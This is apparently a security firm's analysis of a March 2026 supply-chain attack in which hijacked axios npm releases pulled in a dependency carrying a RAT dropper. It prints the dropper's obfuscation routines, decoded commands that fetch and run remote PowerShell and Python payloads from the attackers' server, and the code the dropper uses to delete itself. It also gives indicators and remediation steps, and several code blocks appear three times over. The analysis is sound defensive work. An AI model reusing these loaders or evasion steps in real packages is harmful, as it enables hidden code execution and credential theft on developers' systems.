BACK

Real World Attacks

Axios Hijacked: Cross-Platform RAT via Maintainer Account Takeover

Valentino Duval

Mar 31, 2026

Real World Attacks

Axios Hijacked: Cross-Platform RAT via Maintainer Account Takeover

Valentino Duval

Mar 31, 2026

Real World Attacks

Axios Hijacked: Cross-Platform RAT via Maintainer Account Takeover

Valentino Duval

Mar 31, 2026

No headings found in content selector: .toc-content

Executive Summary

Two malicious versions of axios (1.14.1, 0.30.4) were published to npm after the primary maintainer's account was hijacked. The attacker injected a single new dependency, plain-crypto-js@4.2.1, that was never imported anywhere in the axios source. This dependency exists solely to execute a postinstall hook that deploys a cross-platform remote access trojan. The dropper detects the host OS, pulls a platform-specific second-stage payload from a live C2 server, executes it, and then destroys all evidence of itself.

The malicious dependency was staged 18 hours in advance. Separate payloads were pre-built for three operating systems. Both release branches were hit within 39 minutes.

At a Glance

  1. What is unique? The two-layer string obfuscation, domain masquerading (packages[.]npm[.]org), and complete self-deletion after payload delivery.

  2. Who is at risk? Any developer, CI pipeline, or production environment that ran npm install and resolved axios@1.14.1 or axios@0.30.4 during the exposure window.

  3. Was this preventable? Partially. Axios publishes legitimate releases via GitHub Actions with OIDC Trusted Publisher binding. Neither malicious version had corresponding GitHub commits, tags, or releases.


How the Account Was Compromised

The attacker hijacked the npm account of jasonsaayman, the primary axios maintainer. The account's registered email was changed to ifstap@proton.me, and a long-lived classic npm access token was used to publish directly to the registry, bypassing the project's normal GitHub Actions-based release workflow.

A second staging account, nrwise (nrwise@proton.me), was used to publish the malicious plain-crypto-js dependency in advance.

Neither compromised axios version has a corresponding GitHub tag, commit, or release.


Timeline

Date (UTC)

Event

Detail

Mar 30, 06:00

Staging dependency published

plain-crypto-js@4.2.0 published without malicious code, establishing package presence on npm

Mar 30, 23:59

Malicious dependency published

plain-crypto-js@4.2.1 published with RAT dropper postinstall hook

Mar 31, 00:21

axios@1.14.1 published

First poisoned axios version published with plain-crypto-js dependency added

Mar 31, 01:00

axios@0.30.4 published

Second poisoned version hits the legacy 0.x branch, 39 minutes after the first

Mar 31, 03:00

GitHub issue filed

Community reports compromise via axios/axios#10604

Mar 31

npm takedown

Affected versions removed from npm registry, tokens revoked


Technical Breakdown

Execution Vector

The only code change across both compromised versions is the addition of plain-crypto-js@^4.2.1 to dependencies in package.json. This package is never imported anywhere in the axios source. Its entire purpose is the postinstall lifecycle hook:

Execution flow from npm install through postinstall hook to platform-specific RAT delivery and cleanup


Malware Source Snippet

A snippet of setup.js (4,209 bytes) from plain-crypto-js@4.2.1:

const _trans_1=function(x,r){try{const E=r.split("").map(Number);return x.split("")
.map(((x,r)=>{const S=x.charCodeAt(0),a=E[7*r*r%10];return String.fromCharCode(
S^a^333)})).join("")}catch{}},_trans_2=function(x,r){try{let E=x.split("").reverse()
.join("").replaceAll("_","="),S=Buffer.from(E,"base64").toString("utf8");return
_trans_1(S,r)}catch{}},stq=["_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx","__gvELKx",
"__gvEvKx","iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx","",
"__wvF7bxkSMpErLx","jSMpErLx4SMrEnKx","_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bx
tWcoF/axsSsoF3axvWMqFXIx...","_sKxiWcrFjax...","__wrFLIx...","",
"_saxtW8uFvaxzW8vFrax...","jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx",
"_kKxnS8oFjKxqSMrEbKxpSMrE3Lx","_gKxySMqEPax","_wbx5ScvEPax",
"_4LxoS8uEPax"],ord="OrDeR_7077",_entry=function(x){try{
/* ... deobfuscates template vars, detects OS, downloads + executes
   platform-specific payload, then cleans up ... */
}catch{}};_entry("6202033");
const _trans_1=function(x,r){try{const E=r.split("").map(Number);return x.split("")
.map(((x,r)=>{const S=x.charCodeAt(0),a=E[7*r*r%10];return String.fromCharCode(
S^a^333)})).join("")}catch{}},_trans_2=function(x,r){try{let E=x.split("").reverse()
.join("").replaceAll("_","="),S=Buffer.from(E,"base64").toString("utf8");return
_trans_1(S,r)}catch{}},stq=["_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx","__gvELKx",
"__gvEvKx","iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx","",
"__wvF7bxkSMpErLx","jSMpErLx4SMrEnKx","_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bx
tWcoF/axsSsoF3axvWMqFXIx...","_sKxiWcrFjax...","__wrFLIx...","",
"_saxtW8uFvaxzW8vFrax...","jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx",
"_kKxnS8oFjKxqSMrEbKxpSMrE3Lx","_gKxySMqEPax","_wbx5ScvEPax",
"_4LxoS8uEPax"],ord="OrDeR_7077",_entry=function(x){try{
/* ... deobfuscates template vars, detects OS, downloads + executes
   platform-specific payload, then cleans up ... */
}catch{}};_entry("6202033");
const _trans_1=function(x,r){try{const E=r.split("").map(Number);return x.split("")
.map(((x,r)=>{const S=x.charCodeAt(0),a=E[7*r*r%10];return String.fromCharCode(
S^a^333)})).join("")}catch{}},_trans_2=function(x,r){try{let E=x.split("").reverse()
.join("").replaceAll("_","="),S=Buffer.from(E,"base64").toString("utf8");return
_trans_1(S,r)}catch{}},stq=["_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx","__gvELKx",
"__gvEvKx","iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx","",
"__wvF7bxkSMpErLx","jSMpErLx4SMrEnKx","_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bx
tWcoF/axsSsoF3axvWMqFXIx...","_sKxiWcrFjax...","__wrFLIx...","",
"_saxtW8uFvaxzW8vFrax...","jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx",
"_kKxnS8oFjKxqSMrEbKxpSMrE3Lx","_gKxySMqEPax","_wbx5ScvEPax",
"_4LxoS8uEPax"],ord="OrDeR_7077",_entry=function(x){try{
/* ... deobfuscates template vars, detects OS, downloads + executes
   platform-specific payload, then cleans up ... */
}catch{}};_entry("6202033");


String Obfuscation

The dropper uses a custom two-layer encoding scheme to hide all 17 strings in the stq[] array:

Layer 1 (Reversed Base64): The encoded string is reversed, underscores are replaced with = padding, then base64-decoded.

Layer 2 (XOR Cipher): Each character of the result is XORed with a digit from the key OrDeR_7077 (selected via the formula 7*i*i % 10) plus the constant 333.

const _trans_1 = function(x, r) {
  const E = r.split("").map(Number);
  return x.split("").map((x, r) => {
    const S = x.charCodeAt(0), a = E[7 * r * r % 10];
    return String.fromCharCode(S ^ a ^ 333);
  }).join("");
};

const _trans_2 = function(x, r) {
  let E = x.split("").reverse().join("").replaceAll("_", "=");
  let S = Buffer.from(E, "base64").toString("utf8");
  return _trans_1(S, r);
};
const _trans_1 = function(x, r) {
  const E = r.split("").map(Number);
  return x.split("").map((x, r) => {
    const S = x.charCodeAt(0), a = E[7 * r * r % 10];
    return String.fromCharCode(S ^ a ^ 333);
  }).join("");
};

const _trans_2 = function(x, r) {
  let E = x.split("").reverse().join("").replaceAll("_", "=");
  let S = Buffer.from(E, "base64").toString("utf8");
  return _trans_1(S, r);
};
const _trans_1 = function(x, r) {
  const E = r.split("").map(Number);
  return x.split("").map((x, r) => {
    const S = x.charCodeAt(0), a = E[7 * r * r % 10];
    return String.fromCharCode(S ^ a ^ 333);
  }).join("");
};

const _trans_2 = function(x, r) {
  let E = x.split("").reverse().join("").replaceAll("_", "=");
  let S = Buffer.from(E, "base64").toString("utf8");
  return _trans_1(S, r);
};

The _entry() function also uses a separate obfuscation layer for its own template variables. It applies standard base64 with non-standard padding characters (^, _, -, ), * replacing =) to avoid pattern matching.


Decoded String Table

We decoded the full stq[] array offline by extracting only the string manipulation functions. No malicious code was executed. The complete decoded output:

Index

Purpose

Decoded Value

stq[0]

Module import

child_process

stq[1]

Module import

os

stq[2]

Module import

fs

stq[3]

C2 base URL

http://sfrclak[.]com:8000/

stq[4]

(unused)

(empty string)

stq[5]

Platform check

win32

stq[6]

Platform check

darwin

stq[7]

Windows VBScript

See Windows Payload below

stq[8]

Windows exec cmd

cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f

stq[9]

macOS payload

Garbled (see macOS section below)

stq[10]

macOS exec cmd

(empty string)

stq[11]

Linux payload

See Linux Payload below

stq[12]

Cleanup target

package.json

stq[13]

Clean decoy

package.md

stq[14]

File extension

.exe

stq[15]

File extension

.ps1

stq[16]

File extension

.vbs

The _entry() function also decodes five template variables inline using base64 with obfuscated padding: LOCAL_PATH, PS_PATH, SCR_LINK, PS_BINARY, and the discovery command where powershell.


C2 Infrastructure and Domain Masquerading

The dropper contacts sfrclak[.]com:8000 to retrieve platform-specific payloads, with the campaign ID 6202033 appended to the path. The download URLs use the domain packages[.]npm[.]org, which is not affiliated with the npm registry. The domain npm.org belongs to the National Association of Pastoral Musicians (since 1997). Platform-specific payload endpoints:

  • Windows: packages[.]npm[.]org/product1

  • Linux: packages[.]npm[.]org/product2

The dropper spoofs a User-Agent string mimicking Internet Explorer 8 on Windows XP: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0).


Windows Payload (stq[7], stq[8])

The most complete code path. The decoded VBScript template:

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False

At runtime, the template variables are replaced: SCR_LINK becomes the full C2 URL, PS_PATH becomes %TEMP%\6202033.ps1, and PS_BINARY becomes the copied PowerShell binary.

The execution chain:

  1. PowerShell discovery: runs where powershell via execSync to locate the real PowerShell binary

  2. Binary copy: copies PowerShell to %PROGRAMDATA%\wt.ps1 to masquerade as a legitimate application

  3. VBScript dropper: writes the decoded VBScript to %TEMP%\6202033.vbs

  4. Silent execution: the VBScript launches cmd.exe with window style 0 (hidden), which:

    • POSTs to packages[.]npm[.]org/product1 via curl to retrieve the PowerShell payload

    • Pipes the response to %TEMP%\6202033.ps1

    • Executes with -w hidden -ep bypass (hidden window, execution policy bypass)

    • Deletes the .ps1 after execution

  5. VBScript cleanup: executed via cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f, which runs the VBScript then deletes it


macOS Payload (stq[9], stq[10]): Broken

The macOS code path is non-functional in this sample. We can confirm this through two independent indicators in the decoded stq[] array:

1. The script template is garbled. stq[9] decodes to:

nohup osascrnwt "uj -ra'LOCFK_PASO"
nohup osascrnwt "uj -ra'LOCFK_PASO"
nohup osascrnwt "uj -ra'LOCFK_PASO"

This is clearly a corrupted version of what should be an osascript invocation. The command osascrnwt does not exist on macOS and would fail immediately. Notably, neither of the template variables SCR_LINK or LOCAL_PATH appear in the decoded string, meaning the runtime .replaceAll() substitutions in _entry() would be no-ops. The C2 URL and local file path would never be injected.

2. The execution command is empty. stq[10] is an empty string. In the _entry() code, the darwin branch ends with:

n = _trans_2(stq[10], ord);  // n = ""
n = n.replaceAll(E, r);      // still ""
n = _trans_2(stq[10], ord);  // n = ""
n = n.replaceAll(E, r);      // still ""
n = _trans_2(stq[10], ord);  // n = ""
n = n.replaceAll(E, r);      // still ""

After the for(;;){...break} loop exits, F(n) calls execSync(""), which does nothing. Even if stq[9] had written a valid script to disk, there is no command to execute it.

The result: on macOS, the dropper writes a garbled file to $TMPDIR/6202033, attempts to execute an empty string, silently fails inside the outer try/catch, and proceeds to the cleanup phase. No payload is delivered, no C2 contact is made, and no RAT is installed. The macOS code path was either still under development at time of deployment, or the stq[] array was deliberately truncated for this distribution.

External analysis of the second-stage binary (retrieved from the C2 before it went offline) describes a C++ Mach-O RAT that would have been dropped to /Library/Caches/com.apple.act.mond, beaconing every 60 seconds with support for remote shell execution, binary injection, and directory enumeration. The delivery mechanism to get it onto disk was simply not ready.


Linux Payload (stq[11])

The simplest variant. A single decoded shell command:

curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2
curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2
curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2

At runtime, SCR_LINK is replaced with the full C2 URL (http://sfrclak[.]com:8000/6202033). The command POSTs to the C2 to download a Python script, saves it to /tmp/ld.py, and executes it as a detached background process via nohup.


Self-Deletion Mechanism

After payload delivery, the dropper erases all evidence of its existence from node_modules/plain-crypto-js/:

// Delete the malicious dropper script
fs.unlink(__filename, (x => {}));
// Remove the package.json containing the postinstall hook
fs.unlink("package.json", (x => {}));     // stq[12]
// Restore clean backup as package.json
fs.rename("package.md", "package.json", (x => {}));  // stq[13] -> stq[12]
// Delete the malicious dropper script
fs.unlink(__filename, (x => {}));
// Remove the package.json containing the postinstall hook
fs.unlink("package.json", (x => {}));     // stq[12]
// Restore clean backup as package.json
fs.rename("package.md", "package.json", (x => {}));  // stq[13] -> stq[12]
// Delete the malicious dropper script
fs.unlink(__filename, (x => {}));
// Remove the package.json containing the postinstall hook
fs.unlink("package.json", (x => {}));     // stq[12]
// Restore clean backup as package.json
fs.rename("package.md", "package.json", (x => {}));  // stq[13] -> stq[12]

Post-cleanup, the node_modules/plain-crypto-js/ directory appears as a normal crypto library with no trace of the malware. This means inspecting node_modules after the fact will not reveal the compromise. You must check for RAT artifacts on disk.


Cascading Compromise

Additional packages were identified carrying the same trojan infrastructure:

  • @shadanai/openclaw (2026.3.31-1, 2026.3.31-2): Vendored plain-crypto-js trojan with identical setup.js and C2 infrastructure

  • @qqbrowser/openclaw-qbot@0.0.130: Shipped tampered axios@1.14.1 in its own node_modules/ with plain-crypto-js injected as a dependency


What Should You Do

  1. Triage and Contain. Audit package-lock.json, yarn.lock, and node_modules across all environments. If axios@1.14.1, axios@0.30.4, or plain-crypto-js is present, treat the environment as compromised. Downgrade to axios@1.14.0 or axios@0.30.3.

  2. Hunt for RAT Artifacts. Check for these files:

    • macOS: /Library/Caches/com.apple.act.mond

    • Windows: %PROGRAMDATA%\wt.exe, %TEMP%\6202033.vbs, %TEMP%\6202033.ps1, MicrosoftUpdate registry Run key

    • Linux: /tmp/ld.py

    • All platforms: $TMPDIR/6202033

  3. Rotate Credentials. Any environment where the affected versions were installed must have credentials rotated, including:

    • npm tokens and registry credentials

    • SSH keys accessible to the developer or CI environment

    • Cloud credentials (AWS/Azure/GCP) present in the environment

    • CI/CD secrets and service account tokens

    • Any API keys or secrets in .env files or environment variables

  4. Block the C2. Firewall sfrclak[.]com and 142.11.206[.]73 immediately. Hunt for outbound connections to port 8000 at this IP. Also block packages[.]npm[.]org (note: this is NOT the legitimate npm registry).

  5. Verify Lockfiles. Confirm your lockfiles do not reference the malicious version ranges. If plain-crypto-js appears anywhere in your dependency tree, investigate immediately.

  6. Strengthen Publishing Controls. Enforce MFA on npm accounts, use scoped short-lived publish tokens, and adopt OIDC Trusted Publisher workflows that tie npm publishing to verified CI/CD pipelines.


Affected Versions

Package

Version(s)

axios

1.14.1, 0.30.4

plain-crypto-js

4.2.0, 4.2.1

@shadanai/openclaw

2026.3.31-1, 2026.3.31-2

@qqbrowser/openclaw-qbot

0.0.130

Downgrade to axios@1.14.0 or axios@0.30.3.


IOCs

  • Affected Packages: axios v1.14.1, v0.30.4; plain-crypto-js v4.2.0, v4.2.1

  • C2 Domain: sfrclak[.]com

  • C2 IP: 142.11.206[.]73

  • C2 Port: 8000

  • C2 Campaign Path: /6202033

  • Fake npm Domain: packages[.]npm[.]org

  • Compromised npm Account: jasonsaayman (email changed to ifstap@proton.me)

  • Staging npm Account: nrwise (nrwise@proton.me)

  • Spoofed User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

File System Artifacts:

  • macOS: /Library/Caches/com.apple.act.mond

  • Windows: %PROGRAMDATA%\wt.exe, %TEMP%\6202033.vbs, %TEMP%\6202033.ps1

  • Linux: /tmp/ld.py


SHA-256 Hashes

Compromised Packages:

  • axios-1.14.1.tgz - 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd

  • axios-0.30.4.tgz - 59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f

  • plain-crypto-js-4.2.1.tgz - 58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668

Second-Stage Payloads:

  • macOS Mach-O binary - 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

  • Windows PowerShell script - 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

  • Linux Python script - fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf

npm Package SHASUMs:

  • axios@1.14.1 - 2553649f2322049666871cea80a5d0d6adc700ca

  • axios@0.30.4 - d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71

  • plain-crypto-js@4.2.1 - 07d889e2dadce6f3910dcbc253317d28ca61c766

Advisory References

  • GHSA: GHSA-fw8c-xr5c-95f9

  • MAL: MAL-2026-2306

MITRE ATT&CK

ID

Technique

T1195.001

Supply Chain Compromise: Compromise Software Supply Chain

T1059.001

Command and Scripting Interpreter: PowerShell

T1059.006

Command and Scripting Interpreter: Python

T1059.007

Command and Scripting Interpreter: JavaScript

T1027

Obfuscated Files or Information

T1036.005

Masquerading: Match Legitimate Name or Location

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

T1071.001

Application Layer Protocol: Web Protocols

T1082

System Information Discovery

T1057

Process Discovery

T1140

Deobfuscate/Decode Files or Information

T1070.004

Indicator Removal: File Deletion



Citations and Acknowledgements

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.

© 2026. All rights reserved.